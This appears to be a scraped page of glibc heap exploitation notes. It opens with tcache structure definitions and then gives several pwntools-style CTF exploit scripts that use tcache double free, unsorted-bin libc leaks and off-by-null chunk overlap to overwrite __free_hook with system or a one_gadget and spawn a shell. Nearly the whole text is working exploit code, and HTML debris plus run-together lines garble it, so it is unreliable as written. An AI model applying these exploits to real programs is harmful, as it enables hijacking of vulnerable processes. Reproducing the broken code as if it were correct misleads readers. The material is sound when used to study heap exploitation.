/* We overlay this structure style="box-sizing: border-box; padding-right: 0.1px;">   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;


/* There is style="box-sizing: border-box; padding-right: 0.1px;">   per-thread cache (hence "tcache_perthread_struct").  Keeping
overall size low is mildly important.  Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;


static __thread tcache_perthread_struct *tcache = NULL;

struct gundam{  int flag;  char* name;  char type[24];}0x28
name = malloc(0x100)

#fill  up the tcache
for i in range(9):
  build('tree', '1')


for i in range(9):
  destory(i)

 for i in range(7):
  build('ffffffff', '1')


 build('llllllll', '1')      #use the unsortedbin ,bk points to main-arena
 visit(7)
 p.recvuntil('llllllll')
 libc.address = u64(p.recvuntil('\x7f').ljust(8, '\x00')) - 0x3ebca0

success('system:{:#x}'.format(system_addr))
#double free dup
 destory(1)
 destory(0)
 destory(0)


 blow() build(p64(libc.symbols['__free_hook']), '1')  #0
 build('/bin/sh\x00', '1')       #1
 build(p64(system_addr), '1')      #2 cover 0

new(0x418, '0')  new(0x20, '1')  new(0x4f0, '2')    #off by null fake to 0x500  new(0x20, '3')
  delete(0)        #unsorted bin  delete(1)        #tcache, filled with 0xda
  #clean pre_size and set size low byte 0x00  for i in range(0, 9):    new(0x28-i, 'a'*(0x28-i))    delete(0)      #idx=0 at position 1
  #set pre_size  payload = 'a'*0x20 + p64(0x450)  new(0x28, payload)    #idx=0 at position 1  delete(2)        #overlapping 0 unlink  to unsortbin              #unsortedbin is 0x950 chunk0\1\2

new(0x418, '1111')    #idx=1 at positon 0  show(0)          #fd is same as the leaved unsorted bin

#double free  new(0x28, '2222')      #idx2 same as idx0  delete(0)          #  delete(2)          #
  #use  new(0x28, p64(libc.symbols['__free_hook']))    #idx0  new(0x28, '/sh\x00')            #idx2  new(0x28, p64(libc.address + 0x4f322))

chunk_0 = add(0, 0x78, '\x00'*0x78)   heapbase = chunk_0 - 0x11e70  add(1, 0x00, '')        #0x20  add(2, 0x78, '\x22'*0x78)  add(3, 0x78, '\x33'*0x78)  add(4, 0x78, '\x44'*0x78)  add(5, 0x78, '\x55'*0x78)  add(6, 0x78, '\x66'*0x78)  add(7, 0x78, '\x77'*0x78)  add(8, 0x78, '\x88'*0x78)  add(9, 0x78, '\x99'*0x78)add(10, 0x78, '\xaa'*0x78)

#tcache dup  #to fake chunk'0 size  remove(10)remove(10)
  add(11, 0x78, p64(chunk_0 - 0x10))  #same as 11, fd points to idx0  add(12, 0x78, p64(chunk_0 - 0x10))  #same as 11 add(13, 0x78, p64(0) + p64(0x4a1))  #same as 0, fake chunk'0 size to 0x4a1
  remove(0)              #into unsorted bin, fd is libcremove(1)              #into tcache0

add(14,0x78, '\xee'*0x78)    #same as 1add(15,0, '')          #same as 0 from unsortedbin
  main_arena = add(16, 0,'') #libc

  #double free  add(17, 0x38, p64(0xdeadbeef))  remove(17)remove(17)
  add(18, 0x38, p64(libc.symbols['__free_hook']))  add(19, 0x38, '/bin/sh\x00')add(20, 0x38, p64(libc.symbols['system']))
remove(19)

new(0x500)    #0  new(0x20)    #1  withdraw(0, 0x500)show()  p.recvuntil('ballance ')
  libc.address = int(p.recvline().strip('\x0a'), 10) - 0x3ebca0success('libc_address:{:#x}'.format(libc.address))success('__free_hook:{:#x}'.format(libc.symbols['__free_hook']))success('one_gadget:{:#x}'.format(libc.address + 0x4f322))
  withdraw(1, 0x20)
  develop(1, p64(libc.symbols['__free_hook']))    new(0x20)                      #2new(0x20)                      #3 __free_hook  develop(3, p64(libc.address + 0x4f322))
  withdraw(2, 0x20)